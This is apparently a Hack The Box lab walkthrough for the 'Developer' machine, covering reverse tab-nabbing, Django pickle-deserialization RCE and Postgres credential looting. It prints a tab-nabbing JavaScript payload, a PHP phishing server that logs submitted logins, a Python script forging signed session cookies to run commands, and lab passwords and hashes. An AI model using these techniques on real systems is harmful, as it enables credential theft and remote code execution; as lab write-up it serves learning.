Enumeration
IP-ADDR: 10.10.11.103 developer.htb
nmap scan:
1
2
3
4
5
6
7
8
9
10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
| 256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_ 256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open tcpwrapped
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://developer.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Port 80, web server redirect to
developer.htb
There is a signup page
and login page
Gobuster scan get so may responses with 301
with Size: 0
. Most of requested directories that get 301 have admin
common in them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gobuster dir -u "http://developer.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -o gobuster.txt -t 50
# ... [snip] ...
/admin (Status: 301) [Size: 0] [--> /admin/]
/contact (Status: 301) [Size: 0] [--> /contact/]
/wp-admin (Status: 301) [Size: 0] [--> /wp-admin/]
/media (Status: 301) [Size: 314] [--> http://developer.htb/media/]
/static (Status: 301) [Size: 315] [--> http://developer.htb/static/]
/fileadmin (Status: 301) [Size: 0] [--> /fileadmin/]
/profile (Status: 301) [Size: 0] [--> /profile/]
/phpmyadmin (Status: 301) [Size: 0] [--> /phpmyadmin/]
/_admin (Status: 301) [Size: 0] [--> /_admin/]
/siteadmin (Status: 301) [Size: 0] [--> /siteadmin/]
/webadmin (Status: 301) [Size: 0] [--> /webadmin/]
/dashboard (Status: 301) [Size: 0] [--> /dashboard/]
/myadmin (Status: 301) [Size: 0] [--> /myadmin/]
/vsadmin (Status: 301) [Size: 0] [--> /vsadmin/]
# ... [snip] ...
Any directory name which end with admin
, that redirect to “Django administration” login page.
Other Directories
/static
directory don’t have anything interesting./contact
,/profile
,/dashboard
redirect to/accounts/login/
/media
contian bunch of png and zip file.
After login, only found some ctf challenges
upon completing a challenge we get a new page for submit write up.
Challenges: Easy Encryption
I chosen an easy challenge from Reversing Challenges “Lucky Guess”, for other challenges or all challenges solution, 0xdf’s blog
Challenge attachment contains a ELF 64-bit LSB pie executable binary
opening that binary in ghidra found a function doing xoring 2 variables and return flag
Doing XOR in cyberchef and got flag: "DHTB{gOInGWITHtHEfLOW}
upon flag submission, got the “Walkthrough Submission” window
Foothold
reverse tab-nabbing
When we submit Walkthrough link it appear in profile page and link opens in the new tab.
admin in opening link in Firefox browser
1
2
3
4
5
6
7
8
9
10
11
❯ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.103] 50856
GET / HTTP/1.1
Host: 10.10.14.24:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
This is a same bug found in the hackthebox site by 0xprashant
- Tabnabbing is a computer exploit and phishing attack, which persuades users to submit their login details and passwords to popular websites by impersonating those sites and convincing the user that the site is genuine.
So, This is a phishing attack where attacker could replace parent page if parent page implement user define urls insecurely.
“When a web developer wants a link to open in a new tab, they add target="_blank"
to the <a>
tag.
1
<a id="walkthrough_link" href="http://attacker" target="_blank">Lucky Guess</a>
The issue is, if that link leads to a malicious page and mitigation aren’t in place, then JavaScript on that page(new tab page) can actually change the location of the original page(parent page). The mitigation for this is to also add rel="noopener nofollow"
to the <a>
tag as well.”, 0xdf
The goal here will be to host a page so that when the admin clicks on the link, it open in a new tab that’s now visible. The JavaScript in that tab will reverse tab-nab the original tab to send it to another page and that page is cloned http://developer.htb/accounts/login/
page hosted on our server and when the admin is done reading my page and comes back, they’ll think they’ve been logged out for some reason, and log in again we get his creds.
setup tabnap phishing page
Clone login page and save it as login.html
1
wget http://developer.htb/accounts/login/
Create a writeup.html
file and put this script.
1
2
3
4
5
6
7
8
<html>
<body>
<script>
if (window.opener) window.opener.parent.location.replace('http://{tun0}/accounts/login/');
if (window.parent != window) window.parent.location.replace('https://{tun0}/accounts/login/');
</script>
</body>
</html>
Finally, Create a index.php
file to handle requests.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$request = $_SERVER['REQUEST_URI'];
switch ($request) {
case '/accounts/login/' :
$method = $_SERVER['REQUEST_METHOD'];
if ($method == 'POST'){
header('Location: http://developer.htb/accounts/login/');
$file = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "\r\n");
}
fwrite($file, "\r\n");
fclose($file);
exit;
} elseif ($method == 'GET'){
require __DIR__ . '/login.html';
break;
}
case '/writeup' :
require __DIR__ . '/writeup.html';
break;
default:
http_response_code(404);
break;
}
?>
save all files and start php server on port 80
1
sudo php -S {tun0}:80
after everything setup, submit writeup link http://{tun0}/writeup
in “Walkthrough Submission”
immediately after that you could get some requests from developer.tab
in your server then server creates log.txt
which could contain admin creds.
Now we can login to djano admin panel
- Admin name is: Jacob
from new subdomain from admin panel
This subdomain is running sentry monitor for django.
- Sentry’s Django integration enables automatic reporting of errors and exceptions.
Registering new account and login don’t give anything interesting. but login with django admin creds with email Jacob@developer.htb
got admin panel in sentry.
Django Deserialization
And there’s the issue, when we create a project and then try to remove it. api through an error; full error
And this error leaks the django webapp secret key
- There is a blog post on django Remote Code Execution using api secret key from blog.scrt.ch
Here’s the exploit script, copied from 0xdf blog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import django.contrib.sessions.serializers
import django.core.signing
import requests
import sys
cmd = sys.argv[1]
SECRET_KEY = 'c7f3a64aa184b7cbb1a7cbe9cd544913'
cookie = ".eJxrYKotZNQI5UxMLsksS80vSo9gY2BgKE7NKymqDGUpLk3Jj-ABChQEFyZaljmblJv7-hQyRXABhUpSi0uS8_OzM1PBWsrzi7JTU0KF4hNLSzLiS4tTi-KTEpOzU_NSQpUgxumVlmTmFOuB5PVccxMzcxyBLCeoGl4kfZkp3qylegCrOjNK:1m45xH:Zcs2GcAl2Knls_STRUkB22PKJlg"
newContent = django.core.signing.loads(cookie, key=SECRET_KEY,
serializer=django.contrib.sessions.serializers.PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
def __reduce__(self):
return os.system, (cmd,)
newContent['testcookie'] = PickleRce()
cookie = django.core.signing.dumps(newContent, key=SECRET_KEY,
serializer=django.contrib.sessions.serializers.PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies', compress=True)
print("Forged cookie:\n" + cookie)
requests.get("http://developer-sentry.developer.htb/sentry/", cookies={"sentrysid": cookie})
Script only running in python2 for me, running. In python3 it give this error and i’m not a django dev or not spent too much time debug the error.
1
django.core.exceptions.ImproperlyConfigured: Requested setting DEFAULT_HASHING_ALGORITHM, but settings are not configured. You must either define the environment variable DJANGO_SETTINGS_MODULE or call settings.configure() before accessing settings.
Get reverse shell
Privesc
Postgresql Enumeration
There are 2 users
1
2
karl:x:1000:1000:Karl Travis:/home/karl:/bin/bash
mark:x:1001:1001:,,,:/home/mark:/bin/bash
There are 2 services running so first thing is to find their config files.
1
2
/etc/sentry/sentry.conf.py
/var/www/developer_ctf/developer_ctf/settings.py
Both config file contains clear text passwords for Postgres database
And also some local services running Postgres and Redis databases.
1
2
LISTEN 0 224 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 511 127.0.0.1:6379 0.0.0.0:*
enumerating Postgresql databases; https://book.hacktricks.xyz/pentesting/pentesting-postgresql
1
2
platform --> ctf_admin:CTFOG2021
sentry --> sentry:SentryPassword2021
Some basic psql commands
1
2
3
4
5
6
7
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
\q # exit from psql
SELECT * FROM auth_user;
platform
contains webapp users creds in auth_user
table.
And sentry contains system users password hashes and we already have Jacob’s password: SuperSecurePassword@HTB2021
, and not useful anymore but karl password could work in su
1
karl:pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=
For cracking these hashes with john we need to append $django$*1*
in every hash, as per requirement
1
karl:$django$*1*pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=
ssh in with karl creds: karl:insaneclownposse
User “karl” have sudo rights
1
2
3
4
5
6
7
8
karl@developer:~$ sudo -l
[sudo] password for karl:
Matching Defaults entries for karl on developer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karl may run the following commands on developer:
(ALL : ALL) /root/.auth/authenticator
And it’s ELF binary.
Rust binary reversing
Rust binary reversing.
- 0xdf writeup
- ippsec video